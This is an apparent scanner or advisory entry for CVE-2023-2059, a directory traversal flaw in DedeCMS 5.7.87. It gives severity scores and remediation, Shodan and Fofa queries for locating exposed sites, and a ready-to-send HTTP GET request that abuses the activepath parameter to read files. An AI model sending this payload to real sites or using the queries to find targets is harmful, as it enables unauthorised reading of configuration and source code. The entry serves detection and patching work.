| Title | DedeCMS 5.7.87 - Directory Traversal |
|---|---|
| Author | pussycat0x |
| Severity | Medium |
| Impact | Unauthenticated attackers can exploit directory traversal through the activepath parameter in select_templets.php to read sensitive DedeCMS configuration files and source code. |
| Remediation | Update DedeCMS to a version newer than 5.7.87 that properly validates and sanitizes the activepath parameter in select_templets.php. |
| CVSS Score | 5.3 |
| EPSS Score | 0.04964 |
| CVE ID | CVE-2023-2059 |
| CWE ID | CWE-28 |
| Shodan Query | http.html:"dedecms"cpe:"cpe:2.3:a:dedecms:dedecms" |
| Fofa Query | app="DedeCMS"app="dedecms"body="dedecms" |
| Tags | cve cve2023 dedecms lfi vkev vuln |
Directory traversal vulnerability in DedeCMS 5.7.87 allows reading sensitive files via the $activepath parameter.
GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\..\..\ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2059.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2059.pcap
N/AN/A